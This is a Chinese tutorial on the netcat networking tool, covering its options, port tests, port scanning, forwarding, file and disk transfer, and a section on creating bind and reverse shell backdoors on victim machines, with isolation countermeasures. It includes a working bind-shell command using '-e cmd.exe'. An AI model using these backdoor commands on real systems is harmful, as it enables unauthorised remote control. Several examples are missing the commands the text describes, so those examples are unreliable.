netcat(通常缩写为nc)是一种计算机联网实用程序,用于使用TCP或UDP读写网络连接。 该命令被设计为可靠的后端,可以直接使用或由其他程序和脚本轻松驱动。 同时,它是功能丰富的网络调试和调查工具,因为它可以产生用户可能需要的几乎任何类型的连接,并具有许多内置功能。netcat被称为网络工具中的瑞士军刀,体积小巧,但功能强大。
使用帮助
选项 | 是否有“选项值” | 说明 |
---|---|---|
h | NO | 输出 nc 的帮助 |
v | NO | 在网络通讯时,显示详细的输出信息。注:建议新手多用该选项,出错时帮你诊断问题 |
n | NO | 对命令行中的“主机”,【不】进行域名解析。注:如果“主机”是“点分格式”的 IP 地址,需要用该选项;如果“主机”是“域名”形式,【不能】用该选项 |
p | YES | 指定“端口号” |
l | NO | 开启“监听模式”,nc 作为【服务端】。注:如不加该选项,nc 默认作为客户端 |
u | NO | 使用 UDP 协议。注:如不加该选项,默认是 TCP 协议 |
w | YES | 设置连接的超时间隔(N 秒) |
q | YES | 让 nc 延时(N 秒)再退出 |
z | NO | 开启“zero-I/O 模式”。注:该选项仅用于“端口扫描”,后面会聊到 |
k | NO | 配合 -l 选项使用,可以重复接受客户端连接。注:“原版 nc”的该选项用来开启“TCP keepalive”。这是“原版 nc”与“OpenBSD 变种”之间的差异之一 |
X | YES | 指定代理的类型(具体用法,后面会聊到)。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一 |
x | YES | 以 IP:port 的格式指定代理的位置。注:“原版 nc”【没有】该选项。这是“原版 nc”与“OpenBSD 变种”之间的差异之一 |
e | YES | 启动某个进程,把该进程的“标准输入输出”与网络通讯【对接】。注:通常用该选项开启一个网络后门。“OpenBSD 变种”基于安全考虑,已去掉该选项,但还是能用间接的方式达到同样的效果。 |
典型示例
网络诊断
测试某个远程主机的【监听】端口是否可达
用如下命令可以测试某个 IP 地址(x.x.x.x)上的某个监听端口(xx)是否开启。
1 | nc -nv x.x.x.x xx |
上述命令用到了如下几个选项:
- 选项 -v
如果你是 nc 的新手,建议总是带上这个选项——通过更详细的输出,能帮你搞明白状况。
- 选项 -n
由于测试的是【IP 地址】,用该选项告诉 nc,【无须】进行域名(DNS)解析;反之,如果你要测试的主机是基于【域名】,就【不能】用“选项 -n”。
- 选项 -w
在测试链接的时候,如果你【没】使用 -w 这个超时选项,默认情况下 nc 会等待很久,然后才告诉你连接失败。
如果你所处的网络环境稳定且高速(比如:局域网内),那么,你可以追加“-w 选项”,设置一个比较小的超时值。
判断防火墙是否“允许 or 禁止”某个端口
在“主机S”上运行 nc,让它在 8080 端口,命令如下:
1 | nc -lv -p 8080 |
然后在“主机C”上运行 nc,测试“主机S”上的 8080 端口是否可达。
1 | nc -nv x.x.x.x xx |
- 选项 -l
这个选项会让 nc 进入监听模式。
- 选项 -p
这个选项有“选项值”,也就是具体端口号。
- 选项 -k
在默认情况下,nc 开启 listen 模式充当服务端,在接受【第一次】客户端连接之后,就会把监听端口关闭。
如果你想要让 nc 始终监听模式,使之能【重复】接受客户端发起的连接,可以追加 -k 选项。
- 选项 -u
如果你要测试 UDP 协议,要记得【两边】的 nc 都要追加 -u 选项。
渗透测试
用 nc 进行“端口扫描”
下面这个命令,用来扫描 IP 地址为 x.x.x.x 的主机,扫描的端口范围从 1 到 1024。
1 | nc -znv x.x.x.x 1-1024 |
- 选项 -z
意思是:开启“zero-I/O 模式”。该模式指的是:nc 只判断某个监听端口是否能连上,连上后【不】与对端进行数据通讯。
选项 -n
选项 -v
由于“-v 选项”产生的输出位于【stderr】,上述命令中的 2>&1 用来把【stderr】合并到【stdout】(注:这种写法只适用于 POSIX 系统上的 shell)。
grep 命令用来进行【过滤】。对于 Windows 系统,默认【没有】grep 命令,需改用 find 命令过滤。
网络配置
基于 nc 的端口转发(Port Forward)
用 nc 进行端口转发,需要运行【两个】nc 进程,一个充当“服务端”,另一个是“客户端”,然后用【管道】让把两个进程的“标准输入输出”交叉配对。所谓的“交叉配对”就是——每一个 nc 进程的“标准输出”都【对接】到另一个 nc 进程的“标准输入”。如此一来,就可以完美地建立【双向通讯】。
运行下面命令之后,就可以把本机的 1235 端口重定向到本机的 5678 端口。
1 | mkfifo nc_pipe |
系统管理
用 nc 传输文件
假设你有两台主机 A 与 B,你要把 A 主机上的文件 file1 传输到 B 主机上,保存为 file2
你先在【接收端】(B 主机)运行如下命令(其中的 xxx 是端口号)
1 | nc -l -p xxx > file2 |
然后在【发送端】(A 主机)运行如下命令。
1 | nc x.x.x.x xxx < file1 |
第二条命令中的 xxx 是端口号,要与第一条命令中的端口号相同;第二条命令中的 x.x.x.x 是【主机 B】的 IP 地址。
用 nc 传输文件,相当于是:直接在【裸 TCP】层面传输。你可以通俗理解为:【没有】应用层。如果你传输的文件【超级大】或者文件数量【超级多】,用 nc 传输文件的性能优势会很明显(相比“FTP、SSH、共享目录…”而言)
用 nc 远程备份整个磁盘
你先在【接收端】(B 主机)运行如下命令(其中的 xxx 是端口号)
1 | nc -l -p xxx | dd of=/dev/sdb |
然后在【发送端】(A 主机)运行如下命令。
1 | dd if=/dev/sda | nc x.x.x.x xxx |
网络入侵
用 nc 开启【被动】连接型后门
- 在受害者机器上开启后门
1 | nc.exe -l -p xxx -e cmd.exe |
后门创建好之后,攻击者在自己机器上也运行 nc(客户端 nc),然后连接到作为后门的 nc(服务端 nc)。一旦连上之后,攻击者就可以在自己的 nc 上看到对方(受害者机器)的 shell 提示符。
- 防范措施
NAT 模式的虚拟机(Guest OS)
NAT 的好处在于【单向可见】。也就是说,Guest OS 可以访问到物理系统(Host OS)【外部】的网络环境;但外部网络环境只能看到 Host OS,看不到 Guest OS。
在这种配置下,就算某个入侵者完全控制了你的 Guest OS,他/她也【没】办法在 Guest OS 中搭建“被动连接型后门”。换句话说,即使入侵者运行了这种后门,(但由于 NAT 的缘故)后门【无法】接受外部网络的连接,这个后门就【失去意义】。
用 nc 开启【主动】连接型后门
- 攻击者在自己机器上运行“服务端 nc”
1 | nc -lk -p xxx |
(在上述两个命令中, xxx 是步骤1用到的端口号,x.x.x.x 是攻击者的 IP 地址)
- 防范措施
【隔离模式】的虚拟机
- 【主动】连接型后门的优势之处
简单对比一下“后门的两种连接方式”。
可用性
如果用“被动型后门”入侵桌面 PC,考虑到绝大部分桌面 PC 都处于内网(其网卡【并未】分配公网 IP)。对这种场景,攻击者需要与受害者在同一个局域网,才能与后门建立通讯。相比之下,“主动型后门”就【没有】这种弊端。
隐蔽性
“被动型后门”需要显式开启监听端口,很容易引起用户的怀疑,或引起杀毒软件的注意。相比之下,“主动型后门”就【没有】这个问题。
参考链接
- netcat,by wikipedia.
- NetCat使用指南,by Evilwing.